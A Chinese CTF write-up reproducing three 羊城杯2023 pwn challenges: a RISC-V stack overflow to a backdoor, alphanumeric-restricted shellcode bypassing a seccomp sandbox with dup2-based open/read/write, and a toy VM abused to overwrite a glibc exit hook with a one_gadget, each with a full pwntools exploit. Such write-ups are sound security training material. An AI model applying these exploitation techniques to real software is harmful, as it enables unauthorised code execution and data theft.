nyyyddddn

羊城杯2023部分题目复现

2024/08/25

题目附件https://github.com/nyyyddddn/ctf/tree/main/%E7%BE%8A%E5%9F%8E%E6%9D%AF2023

risky_login

一道riscv64 小端序 栈溢出 ret2text的题目,最新的ida 9.0可以反编译riscv架构的程序,就不需要用难用的ghidra去分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
int __cdecl main(int argc, const char **argv, const char **envp)
{
_BYTE v4[288]; // [sp+0h] [-120h] BYREF

init_io();
puts("RiskY LoG1N SySTem");
puts("Input ur name:");
read(0, command, 8uLL);
printf("Hello, %s", command);
puts("Input ur words");
read(0, v4, 0x120uLL);
my_input(v4);
puts("message received");
return 0;
}

char *__fastcall my_input(const char *a1)
{
char v3[248]; // [sp+18h] [-108h] BYREF

byte_12347070 = strlen(a1);
if ( (unsigned __int8)byte_12347070 > 8uLL )
{
puts("too long.");
exit(-1);
}
return strcpy(v3, a1);
}

__int64 backdoor()
{
puts("background debug fun.");
puts("input what you want exec");
read(0, command, 8uLL);
if ( strstr(command, "sh") || strstr(command, "flag") )
{
puts("no.");
exit(-1);
}
return system(command);
}

https://ta0lve.github.io/posts/pwn/risc-v/0x01/#%E5%AF%84%E5%AD%98%E5%99%A8%E5%AD%A6%E4%B9%A0

在my input这里存在一个栈溢出,因为strlen只检查低一个字节的数据,那该溢出多少?通过阅读文档可以发现这个ret相当于jmp ra的作用,然后sd ra, 110h+var_s8(sp) 这个是存储返回地址,所以返回地址在栈底 - 0x8的位置,然后strcpy地址距离栈底 0x108,偏移0x100就刚刚好到返回地址那了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
.text:0000000012345786 my_input:                               # CODE XREF: main+7A↓p
.text:0000000012345786
.text:0000000012345786 var_108 = -108h
.text:0000000012345786 var_F8 = -0F8h
.text:0000000012345786 var_s0 = 0
.text:0000000012345786 var_s8 = 8
.text:0000000012345786 arg_0 = 10h
.text:0000000012345786
.text:0000000012345786 addi sp, sp, -120h
.text:0000000012345788 sd ra, 110h+var_s8(sp)
.text:000000001234578A sd s0, 110h+var_s0(sp)
.text:000000001234578C addi s0, sp, 110h+arg_0
.text:000000001234578E sd a0, -10h+var_108(s0)
.text:0000000012345792 ld a0, -10h+var_108(s0)
.text:0000000012345796 call strlen
.text:000000001234579E mv a5, a0
.text:00000000123457A0 andi a4, a5, 0FFh
.text:00000000123457A4 sb a4, byte_12347070
.text:00000000123457A8 lbu a5, byte_12347070
.text:00000000123457AC mv a4, a5
.text:00000000123457AE li a5, 8
.text:00000000123457B0 bgeu a5, a4, loc_123457CE
.text:00000000123457B4 lui a5, %hi(aTooLong) # "too long."
.text:00000000123457B8 addi a0, a5, %lo(aTooLong) # "too long."
.text:00000000123457BC call puts
.text:00000000123457C4 li a0, -1
.text:00000000123457C6 call exit
.text:00000000123457CE # ---------------------------------------------------------------------------
.text:00000000123457CE
.text:00000000123457CE loc_123457CE: # CODE XREF: my_input+2A↑j
.text:00000000123457CE addi a5, s0, -10h+var_F8
.text:00000000123457D2 ld a1, -10h+var_108(s0)
.text:00000000123457D6 mv a0, a5
.text:00000000123457D8 call strcpy
.text:00000000123457E0 nop
.text:00000000123457E2 ld ra, 110h+var_s8(sp)
.text:00000000123457E4 ld s0, 110h+var_s0(sp)
.text:00000000123457E6 addi sp, sp, 120h
.text:00000000123457E8 ret

覆盖返回地址为backdoor,然后cat fl* 就能把flag读出来了

那riscv的程序如何调试呢?? qemu 有一个 -g的参数可以通过gdb-multiarch remote连上去打断点调试,在process开程序的时候加这个-g的参数就可以通过gdb连上去调试了

debug.sh

1
2
3
4
5
6
gdb-multiarch -ex "set architecture riscv" \
-ex "set exception-debugger on" \
-ex "file ./pwn" \
-ex "target remote localhost:1234" \
-ex "b *0x12345796" \
-ex "c"

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

context(os='linux', arch='riscv', log_level='debug',endian = 'little')
context.log_level = 'debug'

# p = process(["qemu-riscv64", "-L", "./", "-g", "1234", "./pwn"])
p = process(["qemu-riscv64", "-L", "./", "./pwn"])

backdoor = 0x123456ee

p.recvuntil('Input ur name:')
p.send("A")

p.recvuntil("Input ur words")
p.sendline(b"a" * 0x100 + p64(backdoor))

p.interactive()

shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf[40]; // [rsp+0h] [rbp-30h] BYREF
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
init();
puts("[0] The Joy Of Contsructing shellcode ~");
puts("[1] Are You Superstar In Ctfers?");
puts("[2] Input: (ye / no)");
read(0, buf, 2uLL);
if ( !strcmp(buf, "ye") )
puts("xxxx{xxxx_xxxx_xxxx_xxxx}");
else
vuln(buf);
puts("[3] Bye~");
return 0LL;
}

unsigned __int64 __fastcall sub_13A2(const char *a1)
{
int v2; // [rsp+14h] [rbp-3Ch]
char *buf; // [rsp+18h] [rbp-38h]
char *v4; // [rsp+20h] [rbp-30h]
void (*s[3])(void); // [rsp+30h] [rbp-20h] BYREF
unsigned __int64 v6; // [rsp+48h] [rbp-8h]

v6 = __readfsqword(0x28u);
printf("[3] Your Answer: %s\n", a1);
puts("[4] Welcome To P0P's World!!!");
memset(s, 0, 0x10uLL);
puts("[5] ======== Input Your P0P Code ========");
for ( buf = (char *)s; buf; ++buf )
{
read(0, buf, 1uLL);
if ( (buf - (char *)s) >> 4 > 0 )
break;
}
v4 = (char *)s;
v2 = 0;
puts("[6] Next");
if ( s )
{
while ( *v4 >= 79 && *v4 <= 95 )
{
++v2;
++v4;
}
if ( !((v4 - (char *)s) >> 4) )
{
puts("[*] It's Not GW's Expect !");
exit(-1);
}
}
puts("[7] Just Do It!");
sub_1289();
s[0]();
return v6 - __readfsqword(0x28u);
}

__int64 sub_1289()
{
__int64 v1; // [rsp+8h] [rbp-48h]

v1 = seccomp_init(0LL);
seccomp_rule_add(v1, 2147418112LL, 2LL, 0LL);
seccomp_rule_add(v1, 2147418112LL, 0LL, 1LL);
seccomp_rule_add(v1, 2147418112LL, 1LL, 1LL);
seccomp_rule_add(v1, 2147418112LL, 33LL, 0LL);
return seccomp_load(v1);
}

checksec 栈有rwx的权限

1
2
3
4
5
6
7
8
9
lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ checksec shellcode
[!] Could not populate PLT: invalid syntax (unicorn.py, line 110)
[*] '/home/lhj/Desktop/ycb2023/shellcode/shellcode'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX unknown - GNU_STACK missing
PIE: PIE enabled
Stack: Executable

程序的逻辑是输入17个字节的数据(read 输入数据的逻辑有问题导致可以多输入一个字节) 然后判断输入的长度是否大于等于16个字节,判断每个字节是否是[79,95]这个范围的字节码,如果是就会执行这些shellcode

因为seccomp要满足一定的输入约束才会执行load bpf,所以直接seccomp dump是dump不出来沙箱规则的,得用python模拟符合输入约束的数据才能把沙箱规则dump出来,可以发现要用orw把flag读出来,然后rw对fd还有些约束,r的fd必须小于等于2,w的fd必须大于2,dup2(old_fd,new_fd)系统调用可以将一个fd重定向到一个新的fd,所以orw得用dup2重定向一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
lhj@lhj-virtual-machine:~/Desktop/ycb2023/shellcode$ python test.py | seccomp-tools dump ./shellcode
[0] The Joy Of Contsructing shellcode ~
[1] Are You Superstar In Ctfers?
[2] Input: (ye / no)
[3] Your Answer: b'
[4] Welcome To P0P's World!!!
[5] ======== Input Your P0P Code ========
[6] Next
[7] Just Do It!
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x12 0xc000003e if (A != ARCH_X86_64) goto 0020
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0f 0xffffffff if (A != 0xffffffff) goto 0020
0005: 0x15 0x0d 0x00 0x00000002 if (A == open) goto 0019
0006: 0x15 0x0c 0x00 0x00000021 if (A == dup2) goto 0019
0007: 0x15 0x00 0x05 0x00000000 if (A != read) goto 0013
0008: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0009: 0x25 0x0a 0x00 0x00000000 if (A > 0x0) goto 0020
0010: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0019
0011: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0012: 0x25 0x07 0x06 0x00000002 if (A > 0x2) goto 0020 else goto 0019
0013: 0x15 0x00 0x06 0x00000001 if (A != write) goto 0020
0014: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0015: 0x25 0x03 0x00 0x00000000 if (A > 0x0) goto 0019
0016: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0020
0017: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0018: 0x25 0x00 0x01 0x00000002 if (A <= 0x2) goto 0020
0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0020: 0x06 0x00 0x00 0x00000000 return KILL

test.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

context(os='linux', arch='amd64')
# context.log_level='debug'
shellcode = asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, b'Y')
print(shellcode)

限制的范围都是一些可以调整堆栈和寄存器的asm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# for i in range(79,96):
# b = bytes([i])
# try:
# print(disasm(b))
# except:
# pass

# 0: 4f rex.WRXB
# 0: 50 push rax
# 0: 51 push rcx
# 0: 52 push rdx
# 0: 53 push rbx
# 0: 54 push rsp
# 0: 55 push rbp
# 0: 56 push rsi
# 0: 57 push rdi
# 0: 58 pop rax
# 0: 59 pop rcx
# 0: 5a pop rdx
# 0: 5b pop rbx
# 0: 5c pop rsp
# 0: 5d pop rbp
# 0: 5e pop rsi
# 0: 5f pop rdi

通过yes和no那两个字节输入那 写一个syscall,push和pop调整堆栈,把syscall给读到一个寄存器里,然后通过push写满整个栈,这样在shellcode执行到结尾的时候就会取到这个syscall,syscall read一次后用dup2 orw的shellcode把flag读出来就行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
from pwn import *
# from LibcSearcher import *
# import itertools
# import ctypes

context(os='linux', arch='amd64')
context.log_level='debug'
is_debug = 1
IP = "127.0.0.1"
PORT = 9999
elf = context.binary = ELF('./shellcode')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

def create_ucontext(
src: int,
rsp=0,
rbx=0,
rbp=0,
r12=0,
r13=0,
r14=0,
r15=0,
rsi=0,
rdi=0,
rcx=0,
r8=0,
r9=0,
rdx=0,
rip=0xDEADBEEF,
) -> bytearray:
b = bytearray(0x200)
b[0xE0:0xE8] = p64(src) # fldenv ptr
b[0x1C0:0x1C8] = p64(0x1F80) # ldmxcsr

b[0xA0:0xA8] = p64(rsp)
b[0x80:0x88] = p64(rbx)
b[0x78:0x80] = p64(rbp)
b[0x48:0x50] = p64(r12)
b[0x50:0x58] = p64(r13)
b[0x58:0x60] = p64(r14)
b[0x60:0x68] = p64(r15)

b[0xA8:0xB0] = p64(rip) # ret ptr
b[0x70:0x78] = p64(rsi)
b[0x68:0x70] = p64(rdi)
b[0x98:0xA0] = p64(rcx)
b[0x28:0x30] = p64(r8)
b[0x30:0x38] = p64(r9)
b[0x88:0x90] = p64(rdx)

return b


def setcontext32(libc: ELF, **kwargs) -> (int, bytes):
got = libc.address + libc.dynamic_value_by_tag("DT_PLTGOT")
plt_trampoline = libc.address + libc.get_section_by_name(".plt").header.sh_addr
return got, flat(
p64(0),
p64(got + 0x218),
p64(libc.symbols["setcontext"] + 32),
p64(plt_trampoline) * 0x40,
create_ucontext(got + 0x218, rsp=libc.symbols["environ"] + 8, **kwargs),
)
# e.g. dest, payload = setcontext32.setcontext32(
# libc, rip=libc.sym["system"], rdi=libc.search(b"/bin/sh").__next__()
# )

p = connect()


# for i in range(79,96):
# b = bytes([i])
# try:
# print(disasm(b))
# except:
# pass

# 0: 4f rex.WRXB
# 0: 50 push rax
# 0: 51 push rcx
# 0: 52 push rdx
# 0: 53 push rbx
# 0: 54 push rsp
# 0: 55 push rbp
# 0: 56 push rsi
# 0: 57 push rdi
# 0: 58 pop rax
# 0: 59 pop rcx
# 0: 5a pop rdx
# 0: 5b pop rbx
# 0: 5c pop rsp
# 0: 5d pop rbp
# 0: 5e pop rsi
# 0: 5f pop rdi


sa("[2] Input: (ye / no)",asm('syscall'))


gdb_comm = '''
b *$rebase(0x14DF)
c
'''
# gdb.attach(p,gdb_comm)

sa("[5] ======== Input Your P0P Code ========",asm(
'''
push rax
pop rsi
push rbx
pop rax
push rbx
pop rdi
pop rcx
pop rcx
pop rsp
pop rbp
push rbp
push rbp
push rbp
push rbp
push rbp
pop rdx
''').ljust(17, asm('NOP')))

def convert_str_asmencode(content: str):
out = ""
for i in content:
out = hex(ord(i))[2:] + out
out = "0x" + out
return out

# orw_shellcode = b'\x90' * 0x20 + asm(f'''
# xor rsi,rsi
# xor rdx,rdx
# push rdx
# mov rax,{convert_str_asmencode("/flag")}
# push rax
# mov rdi,rsp
# xor rax,rax
# mov al,2
# syscall
# mov rdi,rax
# mov dl,0x40
# mov rsi,rsp
# mov al,0
# syscall
# xor rdi,rdi
# mov al,1
# syscall
# ''')

orw_shellcode = b'\x90' * 0x20 + asm(f'''
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax,{convert_str_asmencode("/flag")}
push rax
mov rdi,rsp
xor rax,rax
mov al,2
syscall

mov rax,33 # dup2(old_fd,new_fd)
mov rdi,3 # flag_fd(3) to 0
mov rsi,0
syscall

mov rax,0
mov rdi,0
mov rsi,rsp
mov rdx,0x40 # read flag_content to rsp
syscall

mov rax,33
mov rdi,1 # 1 to 3
mov rsi,3
syscall

mov rax,1
mov rdi,3
mov rsi,rsp
mov rdx,0x40
syscall
''')




s(orw_shellcode)


p.interactive()

easy_vm

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
puts("It's a easy vmpwn,enjoy it");
ptr = malloc(0x1000uLL);
malloc(0x20uLL);
free(ptr);
ptr = 0LL;
stack_memroy = (__int64)malloc(0x1000uLL);
pc = malloc(0x1000uLL);
puts("Inputs your code:");
read(0, pc, 0x1000uLL);
while ( *(_BYTE *)pc )
{
switch ( *(_BYTE *)pc )
{
case 1: // push tmp
stack_memroy += 8LL;
*(_QWORD *)stack_memroy = tmp;
pc = (char *)pc + 8;
break;
case 2: // pop tmp
tmp = *(_QWORD *)stack_memroy;
stack_memroy -= 8LL;
pc = (char *)pc + 8;
break;
case 3: // modify_memory
*(_QWORD *)tmp = *(_QWORD *)stack_memroy;
pc = (char *)pc + 8;
break;
case 4: // xor
tmp ^= *((_QWORD *)pc + 1);
pc = (char *)pc + 16;
break;
case 5:
tmp = *(_QWORD *)tmp; // show_memory
pc = (char *)pc + 8;
break;
case 6: // add
tmp += *((_QWORD *)pc + 1);
pc = (char *)pc + 16;
break;
case 7: // sub
tmp -= *((_QWORD *)pc + 1);
pc = (char *)pc + 16;
break;
default:
pc = (char *)pc + 8;
break;
}
}
exit(0);
}

题目实现了一个简单的vm,有任意地址写的功能,然后stack_memroy残留了一个指向main_arena的指针,可以通过这个指针算出libc_base和ld_base,glibc 2.31下有一个exit hook,具体是exit - > __run_exit_handlers -> _dl_fini - > (rtld_lock_default_lock_recursive & rtld_lock_default_unlock_recursive ) lock 和 unlock这两个函数的调用方式是在rtld_global找这两个函数的指针然后call,然后rtld_global又在ld的数据段上,如果能知道ld_base就能算出这两个指针的地址,所以可以通过写这两个指针为one gadget去劫持控制流

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

context.arch = 'amd64'
context.log_level = 'debug'

p = process('./pwn')

gadgets = [0x45216, 0x4526a, 0xf02a4, 0xf1147]
one_gadget = gadgets[3]

libc_base_offset = 0x3c4b78
ld_base_offset = 0x400000
exit_hook_offset = 0x226f48

# _dl_rtld_lock_recursive
payload = p64(2)
payload += p64(7) + p64(libc_base_offset) # tmp = libc_base
payload += p64(6) + p64(one_gadget) # tmp = one_gadget
payload += p64(1) # push one_gadget
payload += p64(7) + p64(one_gadget) # tmp = libc_base
payload += p64(6) + p64(ld_base_offset) # tmp = ld_base
payload += p64(6) + p64(exit_hook_offset) # tmp = &_dl_rtld_lock_recursive
payload += p64(3) # &_dl_rtld_lock_recursive = one_gadget

# gdb.attach(p)
p.sendafter('your code:', payload)

p.interactive()
CATALOG
  1. 1. risky_login
  2. 2. shellcode
  3. 3. easy_vm